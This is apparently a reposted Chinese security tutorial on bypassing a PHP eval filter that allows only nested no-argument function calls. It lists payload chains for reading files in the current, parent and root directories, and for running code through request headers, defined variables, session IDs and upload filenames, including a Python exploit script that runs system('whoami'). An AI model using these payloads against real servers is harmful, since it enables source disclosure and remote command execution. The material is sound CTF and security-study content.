无参数读文件和RCE总结

news2024/11/25 2:32:09

什么是无参数?

顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等

接下来,从代码开始讲解无参数读文件和RCE的具体技巧,帮助读者熟悉PHP的各种函数、记住无参数读文件和RCE的各类方法:

例题:

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

代码解析

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式

所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

举个例子:

a(b(c()));可以使用,但是a('b')或者a('b','c')这种含有参数的都不能使用

所以我们要使用无参数的函数进行文件读取或者命令执行

无参数任意文件读取

查看当前目录文件名

正常的,print_r(scandir('.'));可以用来查看当前目录所有文件名

但是要怎么构造参数里这个点呢,这里介绍几个方法:

  1. localeconv()

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别)

要怎么取到这个点呢,另一个函数:

current()返回数组中的单元,默认取第一个值:

print_r(scandir(current(localeconv())));成功打印出当前目录下文件:

或者使用print_r(scandir(pos(localeconv())));poscurrent的别名

如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE

  1. chr(46)

chr(46)就是字符"."

要构造46,有几个方法:

chr(rand()) (不实际,看运气)

chr(time())

chr(current(localtime(time())))
  • chr(time())

chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."

所以使用chr(time()),一个周期必定出现一次"."

  • chr(current(localtime(time())))

数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"."

  1. phpversion()

phpversion()返回PHP版本,如5.5.9

floor(phpversion())返回 5

sqrt(floor(phpversion()))返回2.2360679774998

tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615

cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491

sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."

  1. crypt()

hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符

ps:ord()返回字符串中第一个字符的Ascii值

print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次)

同理:strrev(crypt(serialize(array())))也可以得到".",只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

PHP的函数如此强大,获取"."的方法肯定还有许多

正常的,我们还可以用print_r(scandir('绝对路径'));来查看当前目录文件名

获取绝对路径可用的有getcwd()realpath('.')

所以我们还可以用print_r(scandir(getcwd()));输出当前文件夹所有文件名

读取当前目录文件

通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:

前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:

查询PHP手册发现:

手册里有这些方法,如果要获取的数组是最后一个我们可以用:

show_source(end(scandir(getcwd())));或者用readfilehighlight_filefile_get_contents 等读文件函数都可以(使用readfilefile_get_contents读文件,显示在源码处)

ps:readgzfile()也可读文件,常用于绕过过滤

我们添加zflag.php使其排序在index.php后成为最后一个文件

(出现报错的原因是PHP5.3以上默认只能传递具体的变量,而不能通过函数返回值传递,没有关系不影响我们读文件)

介绍一个函数:array_reverse() 以相反的元素顺序返回数组

zflag.php本来在最后一位,反过来就成为第一位,可以直接用current(pos)读取

show_source(current(array_reverse(scandir(getcwd()))));

如果是倒数第二个我们可以用:

show_source(next(array_reverse(scandir(getcwd()))));

如果不是数组的最后一个或者倒数第二个呢?

我们可以使用array_rand(array_flip())array_flip()是交换数组的键和值,array_rand()是随机返回一个数组

所以我们可以用:

show_source(array_rand(array_flip(scandir(getcwd()))));

或者:

show_source(array_rand(array_flip(scandir(current(localeconv())))));

(可以自己结合前面总结的构造"."的方法切合实际过滤情况读取,后文就只列举简单的语句)

多刷新几次,就读到了正着数或者倒着数都是第三位的flag1.php

如果目标文件不在当前目录呢?

查看上一级目录文件名

再介绍几个函数:

dirname() :返回路径中的目录部分,比如:

从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

chdir() :改变当前工作目录

  1. dirname()方法
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件

  1. 构造".."

print_r(next(scandir(getcwd())));:我们scandir(getcwd())出现的数组第二个就是"..",所以可以用next()获取

print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件

结合上文的一些构造都是可以获得".."的 :

next(scandir(chr(ord(hebrevc(crypt(time()))))))

读取上级目录文件

直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录

前面写到了chdir(),使用:

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

即可改变当前目录为上一层目录并读取文件:

如果不能使用dirname(),可以使用构造".."的方式切换路径并读取:

但是这里切换路径后getcwd()localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))

这里crypt()time()可以接收参数,于是构造:

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
或更复杂的:
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
还可以用:
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

多刷新几次:

还有一种构造方法if():(这种更直观些,并且不需要找可接收参数的函数)

if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

查看和读取多层上级路径的就不写了,一样的方式套娃就行

查看和读取根目录文件

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/,所以使用以上payload可以查看根目录文件

但是有权限限制,linux系统下需要一定的权限才能读到,所以不一定成功

同样的:

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));

也可以查看根目录文件,但是也会受到权限限制,不一定成功

读根目录文件:(也是需要权限)

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));

读文件暂时就写这么多,肯定还有许多函数可以达到相同效果,等待大佬的发掘吧

无参数命令执行(RCE)

我们可以使用无参数函数任意读文件,也可以执行命令:

既然传入的code值不能含有参数,那我们可不可以把参数放在别的地方,code用无参数函数来接收参数呢?这样就可以打破无参数函数的限制:

首先想到headers,因为headers我们用户可控,于是在PHP手册中搜索:headers

经过查找,发现getallheaders()apache_request_headers()

getallheaders()&apache_request_headers()

getallheaders()apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用

接下来利用方式就多了,任何header头部都可利用:

我们可以使用:

?code=eval(pos(getallheaders()));
//header
Leon: phpinfo();

因为我这里Leon: phpinfo();排在第一位,所以直接用pos(current的别名)取第一个数组的值

当然,在系统函数没有禁用的情况下,我们还可以直接使用系统函数:

根据位置的不同,可以结合前文,构造获取不同位置的数组

除了可以获得headers,PHP有个函数可以获得所有PHP变量:

get_defined_vars()

该函数会返回全局变量的值,如get、post、cookie、file数据

这里要注意,leon=>phpinfo();_GET数组中,所以需要使用两次取数组值:

第一次:

第二次:

所以,利用get传递新变量可以造成命令执行,post、cookie同理,这里就不演示了

?leon=phpinfo();&code=eval(pos(pos(get_defined_vars())));

如何利用file变量进行rce呢?

import requests

files = {
  "system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

这里要注意的是,file数组在最后一个,需要end定位,因为payload直接放在文件的名称上,再pos两次定位获得文件名

session_id()

session_id(): 可以用来获取/设置 当前会话 ID。

session需要使用session_start()开启,然后返回参数给session_id()

但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可

eval(hex2bin(session_id(session_start())));

>>> print'phpinfo();'.encode('hex')
706870696e666f28293b

Cookie: PHPSESSID=706870696e666f28293b

getenv()

getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)

所以该函数只适用于PHP7.1之后版本,否则会出现:Warning: getenv() expects exactly 1 parameter, 0 given in ...报错

getenv() 可以用来收集信息,实际利用一般无法达到命令执行效果,因为默认的php.ini中,variables_order值为:GPCS

也就是说系统在定义PHP预定义变量时的顺序是 GET,POST,COOKIES,SERVER,没有定义Environment(E),你可以修改php.ini文件的 variables_order值为你想要的顺序,如:"EGPCS"。这时,$_ENV的值就可以取得了

我们来看修改后的值:(环境不同,环境变量显示也不同)

对此我们可以加以利用,方法同上文:

小结

无参数RCE和文件读取实际情况下会存在许多过滤,需要自己结合以上方法绕过,主要还是考察对PHP函数的熟练程度

参考

PHP Parametric Function RCE

无参数任意文件读取

查看当前目录文件名

print_r(scandir('.'));

print_r(scandir(current(localeconv())));

chr(rand()) (不实际,看运气)

chr(time())

chr(current(localtime(time())))

=.

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."

print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次)
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

 print_r(scandir(getcwd()));

读取当前目录文件

最后一位:

show_source(current(array_reverse(scandir(getcwd()))));

倒数第二位: 

show_source(next(array_reverse(scandir(getcwd()))));

随机: 

show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

 查看上一级目录文件名

print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
next(scandir(chr(ord(hebrevc(crypt(time()))))))

 读取上级目录文件

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
或更复杂的:
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
还可以用:
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

 查看和读取根目录文件

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/765208.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于51单片机和proteus的温室大棚系统

此系统是基于51单片机和proteus的仿真设计&#xff0c;功能如下&#xff1a; 1. LCD1602实时显示光照/土壤湿度/温度值及设定值。 2. 按键可增减光照/土壤湿度/温度设定阈值。 3. 获取到的温度低于设定温度则打开加热设备。 4. 获取到的光照值低于设定光照值则打开补光灯。…

「车型分析」控制系统典型应用车型 —— 停车机器人

如今&#xff0c;城市可用土地的日益稀缺&#xff08;城市化&#xff09;和汽车使用数量的增加&#xff08;机动化&#xff09;,为了可持续性发展和其他生活质量问题相结合&#xff0c;由此孕育出来了一种自动停车系统。停车机器人凭借其灵活、高效、标准化的停车模式&#xff…

高时空分辨率、高精度一体化预测技术之风、光、水能源自动化预测教程

详情点击链接&#xff1a;高时空分辨率、高精度一体化预测技术之风、光、水能源自动化预测 第一&#xff1a;预测平台及安装 一、高精度气象预测基础 综合气象观测数值模拟模式&#xff1b; 全球预测模式、中尺度数值模式&#xff1b; 二、自动化预测平台 Linux系统 Crontab…

直播软件源码开发搭建提高安全性方案

随着互联网技术的发展与普及&#xff0c;直播软件源码平台早已深入到大家生活当中&#xff0c;人们常常在直播软件源码平台中去获取资讯、发布资讯或是去寻找想要的物品。但是&#xff0c;直播软件源码平台虽是一款放松娱乐、获取资讯等作用的软件&#xff0c;但也包含了用户们…

IDEA实用设置及插件

一、IDEA实用设置 二、IDEA实用插件 1. aiXcoder是一个基于最先进的深度学习技术的强大的代码完成器和代码搜索引擎。它有可能向您推荐一整行代码&#xff0c;这将帮助您更快地进行编码。AiXcoder还提供了一个代码搜索引擎&#xff0c;帮助您在GitHub上搜索API用例。 2. 阿里…

【25】SCI易中期刊推荐——神经网络科学(中科院4区)

💖💖>>>加勒比海带,QQ2479200884<<<💖💖 🍀🍀>>>【YOLO魔法搭配&论文投稿咨询】<<<🍀🍀 ✨✨>>>学习交流 | 温澜潮生 | 合作共赢 | 共同进步<<<✨✨ 📚📚>>>人工智能 | 计算机视觉…

学术论文——2.学术论文编写规则(参考国家标准GB/T 7713.2-2022)

目录 1 组成部分 1.1 一般要求 1.2 前置部分 1.3 正文部分 1.4 附录部分 2 编排格式要求 2.1 编号要求 2.2 量和单位 2.3 图表 2.4 数字 2.5 数学式 3 字号和字体 该规则的适用范围包括一切反映自然、社会和人文等的科学体系的学术论文&#xff0c;规定了学术论文…

前端(七)——React框架的定位与应用场景解析

&#x1f60a;博主&#xff1a;小猫娃来啦 &#x1f60a;文章核心&#xff1a;React框架的定位与应用场景解析 文章目录 React的产生和发展React框架概述React在前端开发中的角色React框架的优势与劣势最火的9款React UI框架React的定位与使用场景React框架的未来发展趋势学习R…

23 - 数组和广义表 - 数组

前面我们学习了线性表,数组和广义表可看成是一种特殊的线性表 ,数组则是线性表中最典型的一种结构,数组也称之为顺序表,那么我们就先以数组来开始学习! 数组的定义 数组(array)是一种线性表的数据结构,用一组连续的内存空间,存储相同的类型数据。 数组在内存中的结构…

RabbitMq面试题总结

一. 为什么选择RabbitMq&#xff1f; 1.支持持久化消息&#xff0c;持久化消息主要是指我们机器在不可抗力因素等情况下挂掉了&#xff0c;消 息不会丢失的机制。 2.支持高并发&#xff0c;erlang语言面向并发面向消息的函数编程语言&#xff0c;可以很快创建轻量级线程。 3.社…

C++核心编程之函数高级使用

目录 一、函数的默认参数 二、函数占位参数 三、函数重载 四、函数重载-注意事项 一、函数的默认参数 在C中&#xff0c;函数的形参列表中的形参是可以有默认值的 语法&#xff1a;返回值类型 函数名 &#xff08;参数默认值&#xff09;{} 示例1&#xff1a; #includ…

【原创】实现ChatGPT中Transformer模型之输入处理

作者&#xff1a;黑夜路人 时间&#xff1a;2023年7月 Inputs Process&#xff08;输入处理层&#xff09;实现 我们看整个绿色框的整个位置&#xff0c;就是Inputs Process&#xff08;输入处理层&#xff09;。 在输入处理层&#xff0c;其实非常容易理解&#xff0c;主要就…

Proxy代理前后,Httpheader 的变化

Vite.config 配置Proxy服务器, 解决Rest API 访问SpringBoot接口时&#xff0c;跨域的Session一致性。 import { defineConfig, loadEnv } from viteexport default defineConfig({server: {proxy: {/rest: {target: loadEnv(, process.cwd()).VITE_API_URL,changeOrigin: tru…

分类预测 | MATLAB实现基于Attention-GRU的数据多特征分类预测(门控循环单元融合注意力机制分类预测,含混淆矩阵图、分类图)

分类预测 | MATLAB实现基于Attention-GRU的数据多特征分类预测(门控循环单元融合注意力机制分类预测&#xff0c;含混淆矩阵图、分类图) 目录 分类预测 | MATLAB实现基于Attention-GRU的数据多特征分类预测(门控循环单元融合注意力机制分类预测&#xff0c;含混淆矩阵图、分类图…

python_day9_面向对象

# 设计一个类&#xff08;设计一张登记表&#xff09; class Student:name Nonegender Nonenative Noneage None# 创建一个对象&#xff08;打印一张登记表&#xff09; stu_1 Student() # 对象属性赋值&#xff08;填表&#xff09; stu_1.name jay stu_1.gender "…

Django实现接口自动化平台(十二)自定义函数模块DebugTalks 序列化器及视图【持续更新中】

上一章&#xff1a; Django实现接口自动化平台&#xff08;十一&#xff09;项目模块Projects序列化器及视图【持续更新中】_做测试的喵酱的博客-CSDN博客 本章是项目的一个分解&#xff0c;查看本章内容时&#xff0c;要结合整体项目代码来看&#xff1a; python django vue…

AI:Illustrator 2023 for mac

illustrator是一款矢量图形编辑软件&#xff0c;用于创建和编辑排版、图标、标志、插图和其他类型的矢量图形。 以下是illustrator的几个特点&#xff1a; 矢量图形&#xff1a;illustrator创建的图形是矢量图形&#xff0c;可以无限放大而不失真&#xff0c;这与像素图形编辑…

Linux Lite 6.6发行版的候选版(RC)可供公众测试

导读Linux Lite的创建者Jerry Bezencon近日宣布&#xff0c;即将推出的Linux Lite 6.6发行版的候选版&#xff08;RC&#xff09;开发版本可供公众测试。 Linux Lite 6.6仍然基于Ubuntu 22.04.2 LTS&#xff08;Jammy Jellyfish&#xff09;长期支持的操作系统系列&#xff0c;…

数据结构0X-线性结构-链表栈队列

文章目录 参考&#xff1a;总结大纲要求线性结构-链表 参考&#xff1a; 总结 本系列为C数据结构系列&#xff0c;会介绍 线性结构&#xff0c;简单树&#xff0c;特殊树&#xff0c;简单图等。本文为线性结构部分。 大纲要求 线性结构 【 3 】链表&#xff1a;单链表、双向…

truffle 进行智能合约测试

0字 本方法使用了可视化软件Ganache 前两步与不使用可视化工具的步骤是一样的&#xff08;有道云笔记&#xff09;&#xff0c;到第三步的时候需要注意&#xff1a; 在truffle插件下找到networks目录&#xff0c;提前打开Ganache软件 在Ganache中选择连接或者新建&#xff0…